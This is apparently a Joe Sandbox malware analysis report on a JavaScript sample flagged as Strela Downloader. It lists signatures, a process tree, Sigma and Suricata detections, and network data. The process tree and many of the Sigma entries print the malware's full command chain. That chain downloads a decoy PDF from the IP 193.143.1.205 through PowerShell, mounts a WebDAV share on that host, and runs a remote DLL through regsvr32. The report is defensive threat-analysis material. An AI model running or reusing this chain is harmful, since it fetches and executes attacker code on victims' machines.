Edit tour

Windows Analysis Report
12524190021110725310.js

Overview

General Information

Sample name:	12524190021110725310.js
Analysis ID:	1588653
MD5:	2e22eb8429a2d90a393ac702972f6dd4
SHA1:	f0af86146278a6170d0a6d8f3b423813c7c15ec2
SHA256:	63d2bcd710fe88f8832e0b1f7c03e7da9f4747fb76cb545e97bc2016ba09f2a2
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7656 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7744 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7796 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8048 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4692 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4236 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,8481434427352121438,16577776428361387974,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8064 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8112 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6244 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7656	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7744, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7796, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7744, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7796, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js", ProcessId: 7656, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8112, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49743

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 7744, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 7744, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 7744, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 7744, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 7744, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 7744, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js", ProcessId: 7656, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7744, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7796, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8064, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8112, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6244, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8064, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8112, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 7744, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:42:35.583550+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49723	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:42:38.801864+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49743	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:42:35.583550+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49723	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 12524190021110725310.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 12524190021110725310.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 12524190021110725310.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49743 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49723 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:42:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 